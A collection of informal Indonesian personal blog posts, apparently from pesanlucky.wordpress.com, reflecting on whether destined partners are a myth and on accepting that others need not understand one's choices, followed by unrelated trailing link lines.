Ini bakal jadi PR berat banget sih. Gue nggak yakin gue bisa selesai dalam waktu cepat.
Atau mungkin bahkan nggak selesai sama sekali. Entahlah.
Yasudah cukup sekian dan terimagaji
Sumber : https://pesanlucky.wordpress.com/2020/10/25/up-all-night-part-2-validasi/
Makin banyak melihat pasangan-pasangan yang menikah di sekitar membuat gue ingin menyimpulkan sementara bahwa jodoh itu sebenernya mitos doang. Semacam label yang ‘holier than thou’ aja gitu. Padahal nonsense.
Jodoh itu apa? Yang akhirnya menikah? Terus kalo pernikahannya ngga mulus dan akhirnya cerai, ngga jadi jodoh? Atau kalo abis cerai nikah lagi, terus yg jodoh beneran yang mana? Atau jodoh itu yang bersama selamanya? Ah, pak habibi bu ainun aja dipisah maut. Apa itu namanya masih jodoh? Toh semua hal di dunia ini akan dipisah, either oleh jarak, waktu, atau kematian. Berarti konsep jodoh ngga relevan dong?
I mean, kalo sekedar berujung pada pernikahan terus dibilang jodoh, gimana kalo ternyata pernikahan itu sendiri adalah sebuah konsep yang bermula dari kebetulan-kebetulan yang didukung sekitar? Banyak kan yang nikah dijodohin, nikah kepepet karena merasa ada deadline umur, nikah karena hamidun duluan, dan nikah-nikah lain yang sebenernya kebetulan aja semua komponennya sepakat. Kalo dasarnya cinta mah buset banyak amat pasangan saling mencintai yang ngga bisa menikah karena komponen-komponennya kebetulan tidak sepakat.
Jodoh itu apa? Glorifikasi label aja biar keliatan pencarian berakhir dan case closed? Atau kenyataan yang memvalidasi bahwa lo tidak akan hidup sendirian selamanya? Ngga sih, in the very end mah lo akan tetep sendirian.
Orang yang bersama lo sekarang, adalah yang secara sadar lo pilih atau lo terpilih atau kalian saling pilih untuk bersama dalam satu periode waktu tertentu dan untuk satu atau dua kebutuhan tertentu. One and only is another level of the myth. Jadi ngapain susah-susah membuat label jodoh atau ngga jodoh, kalau pada akhirnya ada banyak kemungkinan-kemungkinan lain yang bisa terjadi.
Demikianlah pikiran tidak penting sepagi ini dari seonggok makhluk bumi yang masih leleyehan di kasur malas bangun padahal pengen gosok gigi abis sahur. (bablas teross ngga ada titik koma)
Sumber : https://pesanlucky.wordpress.com/2020/04/24/jodoh-itu-apa/
Ternyata, ada hal yang lebih sulit gue lakukan selain makan nasi pake sumpit; menerima bahwa orang lain tidak harus mengerti gue.
Ini pelajaran paling susah sih.
ibaratnya aja “lo lagi ujian semester. Materi ajarnya udah segambreng diajarkan sejak bertahun silam, dan kali ini kayak lagi lawan monster utama. Lo harus lulus ujian dan menjadi mahluk yang tau bagaimana bersikap ketika tidak ada orang yang mengerti akan keputusan, pilihan, dan keinginan individu lo sebagai mahluk merdeka”.
Lanjut…
Bagi gue, jauh lebih mudah memengerti orang lain dibanding memperoleh pengertian dari orang lain. Mau debat kuat-kuatan urat, adu argumen atau menyampaikan penjelasan demi penjelasan, tetep aja pada akhirnya orang yang menolak mengerti ya akan tetep ngga mau mengerti. Pedih aja sih kadang suka pengen pamrih, susah payah memengerti orang, tapi kok ya ngga dibalas sama. hahaha
Padahal, sebenernya, orang mau mengerti gue atau ngga, itu adalah sesuatu yang ada di luar kendali gue. Sama sekali ngga bisa gue atur, ngga bisa gue kondisikan. Semuanya tergantung sepenuhnya pada orang tersebut. Seringkali ngga berhubungan juga dengan level kedekatan atau tipe hubungan. Mau sedeket apapun si orang itu dengan gue, sedarah sekalipun, tetap tidak ada jaminan ataupun kewajiban si orang tersebut dalam hal memengerti gue. Anjirrr, pait amat yak wkwk. Soalnya kan kadang kita berharap lebih pada circle terdekat untuk memengerti kita secara alamiah tanpa perlu diminta dan dituntut, tapi pada kenyataannya ngga gitu. Semua kembali ke pribadi masing-masing.
Iya, balik ke pribadi masing-masing berikut pengalaman hidup personal, latar belakang cara dia dididik dan dibesarkan, lingkungan, buku yang dibaca, film yang ditonton, musik yang didengar, orang yang dikenal, dan lain sebagainya. Terlalu banyak faktor yang mempengaruhi poin pengertian seseorang dalam memandang suatu isu. Dengan segala keberagaman itu, siapalah gue berani mengintervensi dengan memaksakan semuanya segaris dengan faktor-faktor yang gue miliki.
Kejadian demi kejadian dalam hidup sebenernya menjelaskan berulang kepada gue, betapa sebenernya orang lain tuh ngga perlu memengerti kita. Toh kalo emang mereka mau, mereka akan melakukannya sukarela tanpa perlu gue jelaskan atau gue berikan argumen agar supaya didukung. Gue tidak harus membuang banyak energi demi membuat orang lain mengerti keputusan gue, pilihan gue, keinginan gue, bahkan preferensi-preferensi gue.
Gue sudah pernah muda dan banyak gaya, siap menghabiskan banyak tenaga demi membuat sedunia tau dan paham semua tentang gue. Gue sudah pernah memaksakan kehendak, meminta dimengerti, menggebu dengan argumen itu ini. Tapi pada akhirnya, ketika orang lain sudah sejak awal menolak paham, ya sudah, tenaga gue hanya akan literally terbuang percuma.
Ketika gue memutuskan banyak diam dan tidak membantah, sebenarnya ada sepercik kedamaian yang asing yang kemudian gue rasakan. Walaupun jauh di dalam lubuk hati gue masih ingin melawan, tapi ketika pengalaman sudah mengajarkan bahwa perlawanan itu tidak berguna, gue sudah mulai belajar untuk diam dan banyak mendengar.
Ini bukan berarti gue menganjurkan untuk tidak melawan ya. Melawanlah. Tumbuhlah melawan dan membangkang, tapi setelah lo memiliki alasan dan argumen yang baik, bukan karena ego semata.
Contoh kecil yang sampe detik ini masih sering terjadi adalah orang-orang yang masih meragukan betapa platoniknya hubungan antar manusia yang terjadi antara gue dan teman gue yang kebetulan berjenis kelamin wanita. Dari jaman sekolah dulu, sampe sekarang dia sudah menikah, masih ada aja orang-orang yang yakin bahwa diantara kami ada romansa wkwk shit mennn. Gue sudah menjelaskan sampai berbusa pun tidak akan pernah bisa membuat orang-orang yang menolak mengerti ini menjadi mengerti. Mereka akan tetap pada keyakinannya. Jadi ya udah, I choose to stop explaining. Biarin aja bodo amat. Bakalan capek banget kalo goals gue adalah membuat semua orang mengerti.
Sayangnya, ngga semua permasalahan bisa gue ‘biarin aja bodo amat’ semudah itu sih -.-
Gue masih berharap dimengerti, masih pamrih, masih pengen orang-orang ngebuka pikirannya buat nerima keputusan, pilihan, keinginan, dan sudut pandang gue. Padahal ngapain, toh pada akhirnya orang-orang juga punya urusan sendiri-sendiri yang lebih krusial buat dipikirin, alih-alih berupaya memengerti gue.
Gue ngga tau sih sebenernya berharap dimengerti itu salah apa ngga. Tapi, gue sudah ada pada level males. Males mengupayakan itu, males memaksa, males menuntut. Menunggu dimengerti orang yang perlu dipaksa dulu baru mau mengerti tuh buang-buang energi. Waktu gue ngga banyak. Gue cuma bisa jelasin yang bisa gue jelasin. Lo mau ngerti atau ngga, ya serah lu. hahaha
…bacot emang gampang ya hhhhh.
Yah begitulah. Kadang beberapa isu dalam hidup bisa menjadi lebih mudah ketika kita sadar dan bisa membedakan apa-apa yang ada di dalam kendali dan apa-apa yang ada di luar kendali. Tapi kembali menjadi rumit, ketika kita kesulitan menerima bahwa kita tidak bisa melakukan apa-apa atas hal-hal yang berada di luar kendali tersebut.
Tapi pada akhirnya, orang lain memang tidak punya kewajiban untuk memengerti kita. Akui saja bahwa tidak semua orang bahkan benar-benar menaruh perhatian dan peduli terhadap apa yang kita hadapi. Belajar saja giat-giat untuk menjadi cukup bagi diri sendiri. okeyy!
Sekian dan terima nikahnya si A binti si blablabla dengan maskawin nananina tunai! ssaaaaahhhh wkwk
Sumber : https://pesanlucky.wordpress.com/2019/12/16/mereka-ngga-butuh-itu/
HAH!!! Dan gue pikir menulis diksi diksi manis masih mudah. Dengan koleksi pilihan kata konotatif yang biasa gue pakai, seharusnya semuanya sepele. Tapi pada akhirnya, gue memilih membiarkan jari-jari gue bergerak sendiri menentukan segala apa. Membiarkan kata-kata yang sudah lama dibiarkan masam terperam, lalu terfermentasi dan menjadikannya tiba-tiba tanpa kadaluarsa.
Lagipula, untuk apa menampilkan akrobat makna, jika sebenar-benarnya yang ingin dikata sudah terlalu nyata untuk dibias dalam frasa?
Full artikel
What If I Never Love Again | Pesanlucky WordPress
Gaya Dan Cara
LAYANAN INTERNET LIVE STREAMING TWITCH TV
Freestyle Skateboarding Championship Euro 2021
Part 1 Final Freestyle Skateboarding Championship Euro 2021
Part 2 Final Freestyle Skateboarding Championship Euro 2021
Best Compilation Freestyle Skateboarding Championship Euro 2021